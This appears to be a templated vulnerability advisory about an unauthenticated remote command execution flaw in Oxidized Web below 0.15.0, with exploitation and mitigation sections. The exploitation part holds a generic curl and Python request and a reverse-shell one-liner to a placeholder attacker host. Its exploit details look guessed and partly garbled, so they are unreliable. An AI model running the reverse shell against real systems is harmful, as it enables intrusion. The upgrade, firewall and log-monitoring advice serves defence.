How the CVE Works:
The vulnerability in Oxidized Web (CVE-2025-XXXX) resides in the RANCID migration page, which fails to enforce proper authentication checks. An unauthenticated attacker can exploit this flaw by sending a crafted request to the migration endpoint. This allows the attacker to execute arbitrary commands on the server with the privileges of the Linux user account running the oxidized-web service. The lack of input validation and authentication mechanisms enables the attacker to inject malicious payloads, leading to full control over the affected system. This vulnerability is particularly critical as it can be exploited remotely without any user interaction.
DailyCVE Form:
Platform: Oxidized Web
Version: < 0.15.0
Vulnerability: Unauthenticated RCE
Severity: Critical
Date: Mar 3, 2025
What Undercode Say:
Exploitation:
1. Crafting the Payload:
Attackers can use tools like `curl` or `Python` to send malicious requests to the RANCID migration endpoint.
Example:
curl -X POST http://<target-ip>/migrate -d "payload=malicious_command"
2. Exploit Code:
A Python script can automate the exploitation process:
import requests
target = "http://<target-ip>/migrate"
payload = {"payload": "malicious_command"}
response = requests.post(target, data=payload)
print(response.text)
3. Reverse Shell:
Attackers can use netcat to establish a reverse shell:
bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1
Protection:
1. Update:
Upgrade to Oxidized Web version 0.15.0 or later.
gem install oxidized-web --version ">= 0.15.0"
2. Firewall Rules:
Restrict access to the oxidized-web service using firewall rules:
iptables -A INPUT -p tcp --dport <oxidized-port> -s <trusted-ip> -j ACCEPT iptables -A INPUT -p tcp --dport <oxidized-port> -j DROP
3. Authentication:
Ensure proper authentication mechanisms are enforced for all endpoints.
4. Log Monitoring:
Monitor logs for suspicious activity:
tail -f /var/log/oxidized-web.log | grep "migrate"
5. References:
By following these steps, organizations can mitigate the risk posed by this critical vulnerability.
